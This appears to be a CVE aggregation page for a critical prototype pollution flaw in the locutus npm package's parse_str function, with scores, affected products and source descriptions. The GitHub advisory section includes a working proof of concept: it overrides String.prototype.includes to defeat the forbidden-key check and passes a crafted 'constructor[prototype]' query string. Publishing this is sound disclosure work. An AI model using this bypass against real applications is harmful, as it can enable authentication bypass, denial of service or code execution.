CVE-2026-25521
JSON

9.4critical

Locutus is vulnerable to Prototype Pollution

Severity
9.4critical CVSS:4.0 by GitHub_M
Exploit likelihood
0.31% (higher than 26% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-rxrv-835q-v5mh

Description

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. In versions from 2.0.12 to before 2.0.39, a prototype pollution vulnerability exists in locutus. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue has been patched in version 2.0.39.

Affected

Product or packageVersionsReported by
locutusjs locutus>= 2.0.12, < 2.0.39CVE List
openshift-logging/elasticsearch6-rhel9Not specifiedCVE List
openshift-logging/elasticsearch-operator-bundleNot specifiedCVE List
openshift-logging/elasticsearch-proxy-rhel9Not specifiedCVE List
openshift-logging/elasticsearch-rhel9-operatorNot specifiedCVE List
openshift-logging/kibana6-rhel8Not specifiedCVE List
openshift-logging/logging-curator5-rhel9Not specifiedCVE List
locutus (npm)from 2.0.12 before 2.0.39GitHub Advisory Database
locutus locutusfrom 2.0.12 before 2.0.39NVD

All scores

GitHub_M9.4critical CVSS:4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
redhat-SADP9.3critical CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
GitHubcritical CVSS:4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
NVD8.8high CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Classification

CWE-915CWE-1321

SSVC (CISA-ADP): exploitation none, automatable no, technical impact total.

What each source says

CVE List

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. In versions from 2.0.12 to before 2.0.39, a prototype pollution vulnerability exists in locutus. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue has been patched in version 2.0.39.

GitHub Advisory Database
Summary

A Prototype Pollution vulnerability exists in the the npm package locutus (>2.0.12). Despite a previous fix that attempted to mitigate Prototype Pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue was fixed in version 2.0.39.

Details

The vulnerability resides in line 77 to 79 of https://github.com/locutusjs/locutus/blob/main/src/php/strings/parse_str.js where includes() function is used to check whether user provided input contain forbidden strings.

PoC
Steps to reproduce
  1. Install latest version of locutus using npm install or cloning from git
  2. Run the following code snippet:
String.prototype.includes = () => false;      
console.log({}.polluted);
const locutus = require('locutus');
locutus.php.strings.parse_str('constructor[prototype][polluted]=yes');
console.log({}.polluted);  // prints yes -> indicating that the patch was bypassed and Prototype Pollution occurred
Expected behavior

Prototype Pollution should be prevented and {} should not gain new properties. This should be printed on the console:

undefined
undefined OR throw an Error
Actual behavior

Object.prototype is polluted This is printed on the console:

undefined 
yes
Impact

This is a Prototype Pollution vulnerability, which can have severe security implications depending on how locutus is used by downstream applications. Any application that processes attacker-controlled input using this locutus.php.strings.parse_str may be affected. It could potentially lead to the following problems:

  1. Authentication bypass
  2. Denial of service
  3. Remote code execution (if polluted property is passed to sinks like eval or child_process)
NVD (es)

Locutus incorpora librerías estándar de otros lenguajes de programación a JavaScript con fines educativos. En las versiones desde la 2.0.12 hasta antes de la 2.0.39, existe una vulnerabilidad de contaminación de prototipos en Locutus. A pesar de una corrección anterior que intentó mitigar la contaminación de prototipos verificando si la entrada del usuario contenía una clave prohibida, todavía es posible contaminar Object.prototype mediante una entrada manipulada utilizando String.prototype. Este problema ha sido corregido en la versión 2.0.39.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-25521 changed 2026-07-15CVE Terms of Use
GitHub Advisory DatabaseGHSA-rxrv-835q-v5mh changed 2026-10-05CC-BY-4.0
NVDCVE-2026-25521 changed 2026-07-15Public domain